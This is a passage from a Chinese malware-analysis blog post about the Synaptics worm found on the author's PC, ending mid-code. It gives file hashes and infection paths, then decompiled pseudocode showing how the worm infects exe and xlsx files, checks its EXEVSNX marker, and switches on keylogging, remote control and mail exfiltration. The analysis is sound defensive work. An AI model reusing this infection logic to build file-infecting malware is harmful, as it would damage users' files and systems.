声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!
最近这两天刷逆向题目,有几个加了upx压缩壳的程序,想用upx -d去除一下压缩壳,但是把程序放到文件夹中就自动变大,还给我加了个帝国时代的图标,这什么玩意?upx -d都不用输了?自动给我脱壳?这么智能了吗,但是upx什么时候效果这么好了,原程序775k,压缩完了只有21k?
当时以为是有bug,也没多想,又把程序丢到kali里面用upx给脱了一下,就继续做题了。
过了好几天,今天又去upx脱壳,发现还是不行,这时候感觉有点不对,我又随便把一些程序放到upx文件夹里面,发现有的程序会变大并且加上这个图标,有的程序就不会。当时就感觉很奇怪,把变大的程序用ida和010分别打开看了看。
发现了一些关键的字符串,像是被加密了。
当时也没想到是病毒(因为这个病毒其他的症状我这都没发现,没影响我使用),包括这些可疑的网址当时也没仔细看。还是没想明白咋回事,然而却在任务管理器里面发现了这个东西。
这个时候去网上一搜
原来哥们中病毒了
丢进微步云沙箱里面
是病毒无疑了
当时在网上找了一些资料,详情见参考链接
C:\ProgramData\Synaptics
路径下的原始病毒文件是存在的,病毒文件默认是隐藏的,win11需要取消勾选“隐藏受保护的操作系统文件”,才能看到。
但是在Temp文件中,并没有发现病毒释放的exe文件。
还有的说会满载cpu、占用内存、填充c盘、感染xls文件等等,我这里没有出现。
病毒主要感染的路径是:
文档目录:"C:\Users\UserName\Documents"
桌面目录:"C:\Users\UserName\Desktop"
下载目录:"C:\Users\UserName\Downloads"
而我的upx文件夹在桌面下,这也可以说得通为什么放到upx文件夹中会被感染了。且病毒只能感染32位的exe程序,好像除了放到upx文件夹下的这几个文件被感染,其他的没啥(这病毒也一般般吧 /狗头)。
具体这个病毒是怎么来的,搜索了被感染的文件,发现最早被感染时间是2023/07/08,并且病毒文件夹下的“WS”文件夹创建时间也是2023/07/08,应该是在这天就被感染了,当时应该是在网上下的软件被捆绑了病毒。
也许是因为被感染的文件大部分都已经很久没用了,所以病毒程序一直没有触发,在12月21日这天我运行了被感染的32位文件,也就是age2.exe,导致病毒程序运行,病毒文件生成时间也是2023/12/21,当时Windows安全中心应该提醒了,但是我没管,就导致了病毒的触发,并且一直没有开启查看隐藏的文件,所以一直到现在才被发现。
`Synaptics.exe Synaptics.exe: PE32 executable (GUI) Intel 80386, for MS Windows MD5 (Synaptics.exe) = 4b88d205afcf1994221d841197860ffb SHA1 (Synaptics.exe) = a701f6af0145d6a210160b25f67b3733ad9c47c7 SHA256 (Synaptics.exe) = 42938a07c0b11ff05243e773a4052cdf9de4decedc53eb9997bdd671a3c48186 `
还是第一次分析一个完成的病毒程序,程序函数很多,而且大多数函数无法识别主要功能,只能自己一点点的慢慢找,先寻找关键的主函数,参考了网上的很多相关的分析文章,并没有指出主函数在哪,只有几个功能模块函数的分析,而且还不是很全,只能自己慢慢的找,先通过关键字符串找到对应的功能模块,再一步步的查看函数的引用,最后找了很久终于找到了程序的主函数,分析发现病毒一共有6大功能:
①正常感染文件
②持久化
③USB设备监视,感染USB设备中的文件
④远程控制
⑤键盘监听
⑥回传邮件
主函数通过传进来的参数来判断是否执行这些功能,每个功能都有一个判断语句来判断是否进行正常操作。
`int __userpurge Main@<eax>( Controls::TWinControl *a1@<eax>, char a2@<dl>, int a3@<ecx>, int a4@<ebx>, int a5@<edi>, unsigned int a6@<esi>, char a7, char a8, char a9, char a10, char a11) { int v12; // eax int v13; // ebx int Handle; // eax int v15; // edx int v16; // ebx int v17; // eax int v18; // eax int v19; // eax int v21; // [esp-28h] [ebp-3Ch] int v22; // [esp-24h] [ebp-38h] int v23; // [esp-20h] [ebp-34h] int v24; // [esp-1Ch] [ebp-30h] _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-2Ch] BYREF LPPOINT v26; // [esp-14h] [ebp-28h] BYREF LPBYTE v27; // [esp-10h] [ebp-24h] int v28; // [esp-Ch] [ebp-20h] unsigned int v29; // [esp-8h] [ebp-1Ch] int v30; // [esp-4h] [ebp-18h] int v31; // [esp+0h] [ebp-14h] BYREF void *v32; // [esp+4h] [ebp-10h] BYREF void *v33; // [esp+8h] [ebp-Ch] BYREF int System__AnsiString; // [esp+Ch] [ebp-8h] BYREF Controls::TWinControl *v35; // [esp+10h] [ebp-4h] int savedregs; // [esp+14h] [ebp+0h] BYREF System__AnsiString = 0; v33 = 0; v32 = 0; v31 = 0; v30 = a4; v29 = a6; v28 = a5; v35 = a1; v27 = (LPBYTE)&savedregs; v26 = (LPPOINT)&loc_49A352; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); if ( a2 ) // 正常感染判断语句 { Sysutils::StrToBoolDef(dword_49F1D0, 1); Sysutils::StrToBoolDef(dword_49F1D0, 1); GetPathOpExeXlsx((HDC)ExceptionList, v26, v27, v28); // 获取路径,感染exe和xlsx } v12 = Sysutils::StrToInt(dword_49F1AC); if ( (_BYTE)a3 ) // 自动更新判断语句 AutoUpdateTime(v35, 1, 1, v12); // 设置自动更新,持久化 else AutoUpdateTime(v35, 0, 1, v12); if ( a11 ) // 远程控制判断语句 { v28 = (int)&savedregs; v27 = (LPBYTE)&loc_49A1A3; v26 = (LPPOINT)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&v26); if ( !dword_49F140 ) { ExceptionList = (_EXCEPTION_REGISTRATION_RECORD *)dword_49F154; v24 = dword_49F158; v23 = dword_49F15C; v22 = dword_49F160; v21 = dword_49F164; Sysutils::IntToStr(dword_49F14C); dword_49F140 = Adaptreq::TAdapterRequestParamsImpl::TAdapterRequestParamsImpl( v31, v21, v22, v23, v24, (int)ExceptionList); } RemoteControlA(dword_49F140, 1, 1); // 远程控制 sub_4967D4((int)v35, (int)&str_TCP_Client____A[1]); __writefsdword(0, (unsigned int)v26); } else if ( dword_49F140 ) { RemoteControlA(dword_49F140, 0, 0); // 远程控制 sub_4967D4((int)v35, (int)&str_TCP_Client__[1]); } if ( a10 ) // USB监控判断语句 sub_496E18((int)v35, 1u); // 开启USB监控,1开启,0不开启 else // 不开启USB监控 sub_496E18((int)v35, 0); if ( a9 ) // 感染USB设备中的文件判断语句 { GetFilePath(5, (int)&System__AnsiString); GetFilePath(6, (int)&v33); GetFilePath(7, (int)&v32); if ( Sysutils::DirectoryExists(System__AnsiString) ) sub_496A40((int)v35, (void *)System__AnsiString, 0, a3, a5, a6, 0); if ( Sysutils::DirectoryExists((const int)v33) ) sub_496A40((int)v35, v33, 0, a3, a5, a6, 0); if ( Sysutils::DirectoryExists((const int)v32) ) sub_496A40((int)v35, v32, 0, a3, a5, a6, 0); sub_496B94((int)v35, 1); } else { sub_496B94((int)v35, 0); } if ( a8 ) // 键盘监听判断语句 { v13 = Websnapobjs::TPageObj::TPageObj(off_49D6B0); *((_DWORD *)v35 + 191) = v13; Handle = Controls::TWinControl::GetHandle(v35); LOBYTE(v15) = 1; KeyboardMonitor(v13, v15, Handle); // 键盘监听 sub_4967D4((int)v35, (int)&str_Keyboard_Hook__[1]); } else { v16 = *((_DWORD *)v35 + 191); if ( v16 ) { v17 = Controls::TWinControl::GetHandle(v35); KeyboardMonitor(v16, 0, v17); sub_4967D4((int)v35, (int)&str_Keyboard_Hook___0[1]); } } if ( a7 ) // 回传邮件判断语句 { v28 = 1; v18 = Sysutils::StrToInt(dword_49F1C4); AutoSendMail((int)v35, v18, 1, v28); } else { v28 = 0; v19 = Sysutils::StrToInt(dword_49F1C4); AutoSendMail((int)v35, v19, 0, v28); } __writefsdword(0, v29); v31 = (int)&loc_49A359; return System::__linkproc__ LStrArrayClr(&v31, 4); } `
挨个功能进行分析
跟进GetPathOpExeXlsx函数,也可以通过.xlsx
等关键词找到相关函数。
`int __stdcall GetPathOpExeXlsx(HDC hdc, LPPOINT apt, LPBYTE aj, int cpt) { __int32 v4; // eax char v5; // dl __int32 v6; // ecx char v7; // bl char v8; // dl int v9; // edx int v10; // eax int v11; // ebx int v12; // esi int v13; // eax int v14; // ebx int v15; // esi int v16; // eax int v17; // ebx int v18; // esi int v19; // eax int v20; // ebx int v21; // esi _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-60h] BYREF void *v24; // [esp-14h] [ebp-5Ch] int *v25; // [esp-10h] [ebp-58h] unsigned int v26[2]; // [esp-Ch] [ebp-54h] BYREF int *v27; // [esp-4h] [ebp-4Ch] int v28; // [esp+Ch] [ebp-3Ch] BYREF int v29; // [esp+10h] [ebp-38h] BYREF void *v30; // [esp+14h] [ebp-34h] BYREF int v31; // [esp+18h] [ebp-30h] BYREF int v32; // [esp+1Ch] [ebp-2Ch] BYREF int v33; // [esp+20h] [ebp-28h] BYREF void *v34; // [esp+24h] [ebp-24h] BYREF int v35; // [esp+28h] [ebp-20h] BYREF int v36; // [esp+2Ch] [ebp-1Ch] BYREF int v37; // [esp+30h] [ebp-18h] BYREF int System__AnsiString; // [esp+34h] [ebp-14h] BYREF System::TObject *v39; // [esp+38h] [ebp-10h] System::TObject *v40; // [esp+3Ch] [ebp-Ch] char v41; // [esp+43h] [ebp-5h] __int32 v42; // [esp+44h] [ebp-4h] BYREF int savedregs; // [esp+48h] [ebp+0h] BYREF v41 = _InterlockedExchange(&v42, v6); v7 = v5; v42 = v4; v27 = &savedregs; v26[1] = (unsigned int)&loc_49863B; v26[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v26); v8 = 1; v40 = (System::TObject *)unknown_libname_59(cls_Classes_TStringList, v8); LOBYTE(v9) = 1; v39 = (System::TObject *)unknown_libname_59(cls_Classes_TStringList, v9); if ( v7 ) { v25 = &savedregs; v24 = &loc_4984DA; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); GetFilePath(5, (int)&System__AnsiString); // 获取“文档”路径 GetFilePath(6, (int)&v37); // 获取“桌面”路径 GetFilePath(7, (int)&v36); // 获取“下载”路径 if ( Sysutils::DirectoryExists(System__AnsiString) )// DirectoryExists检查路径是否存在 sub_4742BC((void *)System__AnsiString, (int)&str__exe_3[1], (int)v40, 1);// 遍历目录中的exe文件 if ( Sysutils::DirectoryExists(v37) ) sub_4742BC((void *)v37, (int)&str__exe_3[1], (int)v40, 1); if ( Sysutils::DirectoryExists(v36) ) sub_4742BC((void *)v36, (int)&str__exe_3[1], (int)v40, 1); v10 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v40 + 20))(v40);// 记录exe文件个数 if ( v10 - 1 >= 0 ) { v11 = v10; v12 = 0; do { (*(void (__fastcall **)(System::TObject *, int, void **))(*(_DWORD *)v40 + 12))(v40, v12, &v34); System::__linkproc__ LStrCat3((int)&v35, &str_Injecting_____1[1], v34); sub_4967D4(v42, v35); ++v12; --v11; } while ( v11 ); } OpExeUpdate(v40, (int)off_49D6B8, off_49D6BC, dword_49F14C, 1);// 通过EXERESX标识判断文件是否已经被感染,如果没有,执行OpExe进行感染 v13 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v40 + 20))(v40); if ( v13 - 1 >= 0 ) // 循环处理v35中的元素 { v14 = v13; v15 = 0; do { (*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v40 + 12))(v40, v15, &v33); if ( v33 ) { (*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v40 + 12))(v40, v15, &v32); sub_4967D4(v42, v32); } ++v15; --v14; } while ( v14 ); } System::TObject::Free(v40); __writefsdword(0, (unsigned int)ExceptionList); } if ( v41 ) { v25 = &savedregs; v24 = &loc_498616; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); GetFilePath(5, (int)&System__AnsiString); GetFilePath(6, (int)&v37); GetFilePath(7, (int)&v36); if ( Sysutils::DirectoryExists(System__AnsiString) ) sub_4742BC((void *)System__AnsiString, (int)&str__xlsx_1[1], (int)v39, 1);// 遍历xlsx文件,其他同上 if ( Sysutils::DirectoryExists(v37) ) sub_4742BC((void *)v37, (int)&str__xlsx_1[1], (int)v39, 1); if ( Sysutils::DirectoryExists(v36) ) sub_4742BC((void *)v36, (int)&str__xlsx_1[1], (int)v39, 1); v16 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v39 + 20))(v39); if ( v16 - 1 >= 0 ) { v17 = v16; v18 = 0; do { (*(void (__fastcall **)(System::TObject *, int, void **))(*(_DWORD *)v39 + 12))(v39, v18, &v30); System::__linkproc__ LStrCat3((int)&v31, &str_Injecting_____1[1], v30); sub_4967D4(v42, v31); ++v18; --v17; } while ( v17 ); } sub_479748(v39); v19 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v39 + 20))(v39); if ( v19 - 1 >= 0 ) { v20 = v19; v21 = 0; do { (*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v39 + 12))(v39, v21, &v29); if ( v29 ) { (*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v39 + 12))(v39, v21, &v28); sub_4967D4(v42, v28); } ++v21; --v20; } while ( v20 ); } System::TObject::Free(v39); __writefsdword(0, (unsigned int)ExceptionList); } __writefsdword(0, v26[0]); v27 = (int *)&loc_498642; return System::__linkproc__ LStrArrayClr(&v28, 11); } `
主函数两个大的判断语句,一个处理exe另一个处理xlsx,结构内容都是一样的,先获取“文档、桌面、下载”的路径,病毒只会对这三个文件夹里面的内容进行感染。
在GetFilePath函数中,程序还会对xp系统进行单独的处理
获取到路径后分别遍历exe和xlsx的个数,并通过EXEVSNX标识来判断文件是否已经被感染。
可以通过ResHacker查看感染的文件,发现确实存在EXEVSNX标识
继续跟进到OpExeUpdate函数
`int __fastcall OpExeUpdate(_DWORD *a1, int a2, __int32 a3, int a4, char a5) { int v5; // eax const CHAR *v6; // eax __int32 v7; // ecx __int32 v8; // ecx unsigned int v10[2]; // [esp-14h] [ebp-60h] BYREF _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-58h] BYREF void *v12; // [esp-8h] [ebp-54h] int *v13; // [esp-4h] [ebp-50h] void *v14; // [esp+0h] [ebp-4Ch] void *v15; // [esp+Ch] [ebp-40h] BYREF int v16; // [esp+10h] [ebp-3Ch] BYREF void *v17; // [esp+14h] [ebp-38h] BYREF int v18; // [esp+18h] [ebp-34h] BYREF int v19; // [esp+1Ch] [ebp-30h] BYREF int v20; // [esp+20h] [ebp-2Ch] BYREF void *v21; // [esp+24h] [ebp-28h] BYREF int v22; // [esp+28h] [ebp-24h] BYREF int v23; // [esp+2Ch] [ebp-20h] BYREF int v24; // [esp+30h] [ebp-1Ch] BYREF int System__AnsiString; // [esp+34h] [ebp-18h] BYREF int v26; // [esp+38h] [ebp-14h] int v27; // [esp+3Ch] [ebp-10h] int v28; // [esp+40h] [ebp-Ch] BYREF int v29; // [esp+44h] [ebp-8h] _DWORD *v30; // [esp+48h] [ebp-4h] BYREF int savedregs; // [esp+4Ch] [ebp+0h] BYREF v28 = _InterlockedExchange((volatile __int32 *)&v30, a3); v29 = a2; v30 = a1; System::__linkproc__ LStrAddRef(a2); System::__linkproc__ LStrAddRef(v28); v13 = &savedregs; v12 = &loc_4778DD; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); if ( (*(int (__fastcall **)(_DWORD *, _DWORD))(*v30 + 20))(v30, *v30) >= 1 ) { v5 = (*(int (__fastcall **)(_DWORD *))(*v30 + 20))(v30) - 1; if ( v5 >= 0 ) { v26 = v5 + 1; v27 = 0; do { (*(void (__fastcall **)(_DWORD *, int, int *))(*v30 + 12))(v30, v27, &System__AnsiString); if ( (unsigned __int8)Sysutils::FileExists(System__AnsiString) ) { ExceptionList = (_EXCEPTION_REGISTRATION_RECORD *)&savedregs; v10[1] = (unsigned int)&loc_47789F; v10[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v10); (*(void (__fastcall **)(_DWORD *, int, int *))(*v30 + 12))(v30, v27, &v24); v6 = (const CHAR *)System::__linkproc__ LStrToPChar(v24); dword_49EC78 = LoadLibraryA(v6); // 将exe加载到内存 if ( (unsigned __int8)sub_4770E4(dword_49EC78) )// 查询文件中是否存在“EXEVSNX”标识 { sub_47717C(dword_49EC78, v28, &v20); if ( Sysutils::StrToInt(v20) >= a4 )// 通过感染文件的感染版本来判断是否需要重新感染 { FreeLibrary_0(dword_49EC78); (*(void (__fastcall **)(_DWORD *, int, void **))(*v30 + 12))(v30, v27, &v15); System::__linkproc__ LStrCat3((int)&v16, &str_Infected_Cancel[1], v15); (*(void (__fastcall **)(_DWORD *, int, int))(*v30 + 32))(v30, v27, v16); } else // 低版本则进行更新 { (*(void (__fastcall **)(_DWORD *, int, int *))(*v30 + 12))(v30, v27, &v19); LOBYTE(v8) = a5; OpExe(v19, v29, v8, 1); (*(void (__fastcall **)(_DWORD *, int, void **))(*v30 + 12))(v30, v27, &v17); System::__linkproc__ LStrCat3((int)&v18, &str_Vrs_Updated____[1], v17); (*(void (__fastcall **)(_DWORD *, int, int))(*v30 + 32))(v30, v27, v18); } } else // 文件中不存在“EXEVSNX”标志,直接感染 { FreeLibrary_0(dword_49EC78); (*(void (__fastcall **)(_DWORD *, int, int *))(*v30 + 12))(v30, v27, &v23); LOBYTE(v7) = a5; OpExe(v23, v29, v7, 0); (*(void (__fastcall **)(_DWORD *, int, void **))(*v30 + 12))(v30, v27, &v21); System::__linkproc__ LStrCat3((int)&v22, &str_Completed____[1], v21); (*(void (__fastcall **)(_DWORD *, int, int))(*v30 + 32))(v30, v27, v22); } __writefsdword(0, v10[0]); } ++v27; --v26; } while ( v26 ); } } __writefsdword(0, (unsigned int)v12); v14 = &loc_4778E4; System::__linkproc__ LStrArrayClr(&v15, 11); return System::__linkproc__ LStrArrayClr(&v28, 2); } `
OpExeUpdate函数通过EXEVSNX标识来检查程序是否被感染或是否需要更新。
继续跟进OpExe感染函数查看。
`int __fastcall OpExe(int a1, int a2, __int32 a3, char a4) { int v4; // ecx int v5; // ecx int v6; // ecx int v7; // ecx int v8; // ecx const CHAR *v9; // eax int v10; // ecx int v11; // ecx int v12; // ecx int v14; // [esp-10h] [ebp-4Ch] unsigned int v15[2]; // [esp-Ch] [ebp-48h] BYREF int *v16; // [esp-4h] [ebp-40h] int v17; // [esp+4h] [ebp-38h] BYREF int System__AnsiString; // [esp+8h] [ebp-34h] BYREF int v19; // [esp+Ch] [ebp-30h] BYREF int v20; // [esp+10h] [ebp-2Ch] BYREF int v21; // [esp+14h] [ebp-28h] BYREF int v22; // [esp+18h] [ebp-24h] BYREF int v23; // [esp+1Ch] [ebp-20h] BYREF int v24; // [esp+20h] [ebp-1Ch] BYREF int v25[2]; // [esp+24h] [ebp-18h] BYREF int v26; // [esp+2Ch] [ebp-10h] BYREF int v27; // [esp+30h] [ebp-Ch] BYREF int v28; // [esp+34h] [ebp-8h] int v29; // [esp+38h] [ebp-4h] BYREF int savedregs; // [esp+3Ch] [ebp+0h] BYREF _InterlockedExchange(&v29, a3); v28 = a2; v29 = a1; System::__linkproc__ LStrAddRef(a1); System::__linkproc__ LStrAddRef(v28); v16 = &savedregs; v15[1] = (unsigned int)&loc_477699; v15[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v15); sub_4737B0(&v27); sub_472D44(8, (int)&v26); System::ParamStr(0); // 获取temp路径 v14 = v25[1]; System::__linkproc__ LStrCatN(v25, 4, v4, &str___29[1], v26, &str__exe[1]);// 将程序拷贝到temp目录下 CopyFile(v14, v25[0], 0x80u); // 将程序拷贝到temp目录下 if ( a4 ) { System::__linkproc__ LStrCatN(&v23, 4, v5, &str___29[1], v26, &str__exe[1]); sub_477370(v23, v28); } else { // 感染文件 System::__linkproc__ LStrCatN(&v24, 4, v5, &str___29[1], v26, &str__exe[1]); sub_477244(v24, v29, v28); } System::__linkproc__ LStrCatN(&v22, 4, v6, &str___29[1], v26, &str__ico[1]);// 复制被感染文件的图标ico sub_473E4C(0); System::__linkproc__ LStrCatN(&v21, 4, v7, &str___29[1], v26, &str__exe[1]); System::__linkproc__ LStrToPChar(v21); System::__linkproc__ LStrCatN(&v20, 4, v8, &str___29[1], v26, &str__ico[1]); v9 = (const CHAR *)System::__linkproc__ LStrToPChar(v20); UpdateIco(v9); // 更新图标,将图标替换为被感染文件的图标 System::__linkproc__ LStrCatN(&v19, 4, v10, &str___29[1], v26, &str__exe[1]); CopyFile(v19, v29, 0x80u); // 替换原文件 System::__linkproc__ LStrCatN(&System__AnsiString, 4, v11, &str___29[1], v26, &str__exe[1]); Sysutils::DeleteFile(System__AnsiString); // 删除感染后的exe文件 System::__linkproc__ LStrCatN(&v17, 4, v12, &str___29[1], v26, &str__ico[1]); Sysutils::DeleteFile(v17); // 删除图标文件 __writefsdword(0, v15[0]); v16 = (int *)&loc_4776A0; return System::__linkproc__ LStrArrayClr(&v17, 14); } `
通过源代码可以看到,病毒在初次感染程序的时候会在电脑temp路径下做一个备份,并且生成感染的文件,读取被感染程序的图标文件,替换程序的图标。
exe的感染基本就是这几个关键函数,接下来一起看下xls的感染过程。
`int __fastcall OpXls(int a1, char a2) { int v2; // ecx int v3; // ebx char v4; // zf char v5; // sf char v6; // of int v7; // ebx int v8; // esi int result; // eax int v10; // [esp-2Ch] [ebp-240h] int v11; // [esp-2Ch] [ebp-240h] int v12; // [esp-28h] [ebp-23Ch] int v13; // [esp-28h] [ebp-23Ch] int v14; // [esp-28h] [ebp-23Ch] int v15; // [esp-20h] [ebp-234h] int v16; // [esp-20h] [ebp-234h] int v17; // [esp-20h] [ebp-234h] int v18; // [esp-1Ch] [ebp-230h] int v19; // [esp-1Ch] [ebp-230h] int v20; // [esp-1Ch] [ebp-230h] int v21; // [esp-1Ch] [ebp-230h] int v22; // [esp-1Ch] [ebp-230h] int v23; // [esp-1Ch] [ebp-230h] _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-22Ch] BYREF void *v25; // [esp-14h] [ebp-228h] int *v26; // [esp-10h] [ebp-224h] unsigned int v27[2]; // [esp-Ch] [ebp-220h] BYREF int *v28; // [esp-4h] [ebp-218h] char v29[16]; // [esp+8h] [ebp-20Ch] BYREF int v30; // [esp+18h] [ebp-1FCh] BYREF int v31; // [esp+1Ch] [ebp-1F8h] BYREF int v32[2]; // [esp+20h] [ebp-1F4h] BYREF char v33[16]; // [esp+28h] [ebp-1ECh] BYREF char v34[16]; // [esp+38h] [ebp-1DCh] BYREF char v35[16]; // [esp+48h] [ebp-1CCh] BYREF VARIANTARG v36; // [esp+58h] [ebp-1BCh] BYREF char v37[16]; // [esp+68h] [ebp-1ACh] BYREF char v38[16]; // [esp+78h] [ebp-19Ch] BYREF char v39[16]; // [esp+88h] [ebp-18Ch] BYREF char v40[16]; // [esp+98h] [ebp-17Ch] BYREF int v41; // [esp+A8h] [ebp-16Ch] BYREF int v42; // [esp+B8h] [ebp-15Ch] BYREF VARIANTARG pvarg; // [esp+C8h] [ebp-14Ch] BYREF char v44[16]; // [esp+D8h] [ebp-13Ch] BYREF char v45[16]; // [esp+E8h] [ebp-12Ch] BYREF char v46[16]; // [esp+F8h] [ebp-11Ch] BYREF char v47[16]; // [esp+108h] [ebp-10Ch] BYREF char v48[16]; // [esp+118h] [ebp-FCh] BYREF int v49; // [esp+128h] [ebp-ECh] BYREF char v50[16]; // [esp+138h] [ebp-DCh] BYREF char v51[16]; // [esp+148h] [ebp-CCh] BYREF char v52[16]; // [esp+158h] [ebp-BCh] BYREF char v53[16]; // [esp+168h] [ebp-ACh] BYREF char v54[16]; // [esp+178h] [ebp-9Ch] BYREF int v55; // [esp+188h] [ebp-8Ch] BYREF char v56[16]; // [esp+198h] [ebp-7Ch] BYREF char v57[16]; // [esp+1A8h] [ebp-6Ch] BYREF char v58[16]; // [esp+1B8h] [ebp-5Ch] BYREF char v59[16]; // [esp+1C8h] [ebp-4Ch] BYREF char v60[16]; // [esp+1D8h] [ebp-3Ch] BYREF int v61; // [esp+1E8h] [ebp-2Ch] BYREF int v62; // [esp+1ECh] [ebp-28h] BYREF int v63; // [esp+1F0h] [ebp-24h] BYREF VARIANTARG v64; // [esp+1F4h] [ebp-20h] BYREF int System__AnsiString; // [esp+208h] [ebp-Ch] BYREF char v66; // [esp+20Fh] [ebp-5h] int v67; // [esp+210h] [ebp-4h] BYREF int savedregs; // [esp+214h] [ebp+0h] BYREF v66 = a2; v67 = a1; System::__linkproc__ LStrAddRef(a1); v28 = &savedregs; v27[1] = (unsigned int)&loc_4795C3; v27[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v27); if ( v66 ) { Comobj::CreateOleObject((const int)&str_Excel_Applicati_0[1]); Variants::__linkproc__ VarFromDisp(&v64); Variants::__linkproc__ DispInvoke(0, &v64, dword_4795EC, 0); Variants::__linkproc__ DispInvoke(0, &v64, dword_479600, 0); Variants::__linkproc__ DispInvoke(0, &v64, dword_479614, 0); } else { Variants::__linkproc__ VarCopy((int)&v64, &pvargSrc); System::__linkproc__ LStrLAsg(&System__AnsiString, dword_49ECA8); } if ( !(unsigned __int8)Sysutils::FileExists(System__AnsiString) ) { v26 = &savedregs; v25 = &loc_47903A; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); sub_4737B0(&v62); // GetTempPathA sub_472D44(8, &v61); System::__linkproc__ LStrCatN(&System__AnsiString, 4, v2, dword_479628, v61, ".xlsm"); sub_47518C(&str_XLSM[1], System__AnsiString);// 读取XLSM资源 System::__linkproc__ LStrAsg(&dword_49ECA8, System__AnsiString); Variants::__linkproc__ DispInvoke(v60, &v64, dword_479658, dword_47964C); Variants::__linkproc__ DispInvoke(0, v60, v15, &System__AnsiString); __writefsdword(0, (unsigned int)ExceptionList); v26 = (int *)&loc_479041; System::TObject::Free(dword_49ECAC); } if ( (unsigned __int8)sub_474CD0(&str_Excel_Applicati_0[1]) ) { v26 = &savedregs; v25 = &loc_47954D; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)&ExceptionList); Variants::__linkproc__ DispInvoke(v59, &v64, dword_479658, dword_479668); Variants::__linkproc__ DispInvoke(0, v59, v12, &v67); Variants::__linkproc__ DispInvoke(v56, &v64, dword_479690, 1); Variants::__linkproc__ DispInvoke(v57, v56, dword_479680, dword_479674); Variants::__linkproc__ DispInvoke(v58, v57, v18, ExceptionList); v3 = Variants::__linkproc__ VarToInteger(v58); Variants::__linkproc__ DispInvoke(v54, &v64, dword_479690, 1); Variants::__linkproc__ DispInvoke(&v55, v54, dword_4796A0, 1); v13 = v55; Variants::__linkproc__ DispInvoke(v52, &v64, dword_479690, 2); Variants::__linkproc__ DispInvoke(v53, v52, dword_479680, &dword_4796B0); Variants::__linkproc__ DispInvoke(0, v53, v10, v13); Variants::__linkproc__ DispInvoke(v51, &v64, dword_479690, 2); Variants::__linkproc__ DispInvoke(0, v51, dword_4796BC, ExceptionList); if ( v3 > 0 ) { do { Variants::__linkproc__ DispInvoke(v48, &v64, dword_479680, dword_479674); Variants::__linkproc__ DispInvoke(&v49, v48, v16, byte_4796C8); Variants::__linkproc__ DispInvoke(v50, &v64, (char *)&loc_4796D3 + 1, v49); Variants::__linkproc__ DispInvoke(0, v50, v19, ExceptionList); Variants::__linkproc__ DispInvoke(v46, &v64, dword_479704, dword_4796F0); Variants::__linkproc__ DispInvoke(v47, v46, v17, dword_4796E4); Variants::__linkproc__ DispInvoke(0, v47, v20, ExceptionList); --v3; } while ( v3 ); } Variants::__linkproc__ DispInvoke(v44, &v64, dword_479680, dword_479674); Variants::__linkproc__ DispInvoke(v45, v44, v21, ExceptionList); Variants::__linkproc__ VarFromInt(&pvarg); Variants::__linkproc__ VarCmpLE(v45, &pvarg); if ( v5 ^ v6 | v4 ) { Variants::__linkproc__ DispInvoke(v40, &v64, dword_479680, dword_479674); Variants::__linkproc__ DispInvoke(&v41, v40, v22, ExceptionList); Variants::__linkproc__ DispInvoke(&v42, &v64, (char *)&loc_4796D3 + 1, v41); v14 = v42; Variants::__linkproc__ DispInvoke(v39, &v64, dword_479680, dword_479714); Variants::__linkproc__ DispInvoke(0, v39, v11, v14); } Variants::__linkproc__ DispInvoke(v37, &v64, dword_479680, dword_479674); Variants::__linkproc__ DispInvoke(v38, v37, v23, ExceptionList); Variants::__linkproc__ VarFromInt(&v36); unknown_libname_276(v38, &v36); v7 = Variants::__linkproc__ VarToInteger(v38); if ( v7 > 0 ) { v8 = 1; do { Variants::__linkproc__ DispInvoke(v34, &v64, dword_479690, 1); Variants::__linkproc__ DispInvoke(v35, v34, dword_4796A0, v8); Variants::__linkproc__ DispInvoke(0, v35, dword_479614, 0); ++v8; --v7; } while ( v7 ); } Variants::__linkproc__ DispInvoke(v33, &v64, dword_479690, 1); Variants::__linkproc__ DispInvoke(0, v33, byte_479724, ExceptionList); __writefsdword(0, (unsigned int)ExceptionList); v26 = (int *)&loc_479557; Sysutils::DeleteFile(v67); Sysutils::ChangeFileExt(v67, ".xlsm"); // 替换文件扩展名为xlsm CopyFile(System__AnsiString, v32[1], 0x80u); Sysutils::ExtractFileDir(v67); System::__linkproc__ LStrCat((int)v32, "\\~$cache1"); result = Sysutils::FileExists(v32[0]); if ( !(_BYTE)result ) { Sysutils::ExtractFileDir(v67); System::__linkproc__ LStrCat((int)&v31, "\\~$cache1"); v25 = (void *)v31; System::ParamStr(0, &v30); result = CopyFile(v30, (int)v25, 6u); } if ( v66 ) { Variants::__linkproc__ DispInvoke(0, &v64, 